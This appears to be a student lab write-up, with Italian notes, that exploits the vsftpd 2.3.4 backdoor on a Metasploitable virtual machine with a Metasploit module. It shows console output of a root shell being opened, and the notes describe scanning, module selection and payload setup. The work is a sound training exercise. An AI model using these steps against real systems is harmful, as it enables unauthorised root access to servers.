

Hacking Metasploitable vsftpd

```
0 Automatic

View the full module info with the info, or info -d command. to connect

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
if[*] Command shell session 1 opened (192.168.1.2:35633 → 192.168.1.149:6200) at 2023-09-17 19:44:57 +0200
ifconfig
sh: line 6: ifconfig: command not found
ifconfig
eth0      Link encap:Ethernet  HWaddr ca:01:f0:3e:dd:b1
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::c801:f0ff:fe3e:ddb1/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:311 errors:0 dropped:0 overruns:0 frame:0
          TX packets:107 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:35735 (34.8 KB)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:110 errors:0 dropped:0 overruns:0 frame:0
          TX packets:110 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:27753 (27.1 KB)  TX bytes:27753 (27.1 KB)
```

```
pwd /
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

- Per eseguire hacking su servizio vsftpd ho eseguito alcuni passaggi: grazie alla scansione nmap sono riuscito ad individuare le porte aperte con i relativi servizi, dopo aver individuato vsftpd (il nome del servizio di ftp) ho cercato un exploit su msfconsole, dopo aver individuato quello che fa al mio caso, ho sestato le impostazione e il conseguente payload con le relative impostazioni e ho eseguito il payload come mostrato in figura
- Dopo aver ottenuto l’accesso, mi sono assicurato di essere effettivamente entrato tramite il comando ifconfig che mi fornisce info riguardo all’ip della macchina e ho creato una directory chiamata test_metasploit, così come da esercizio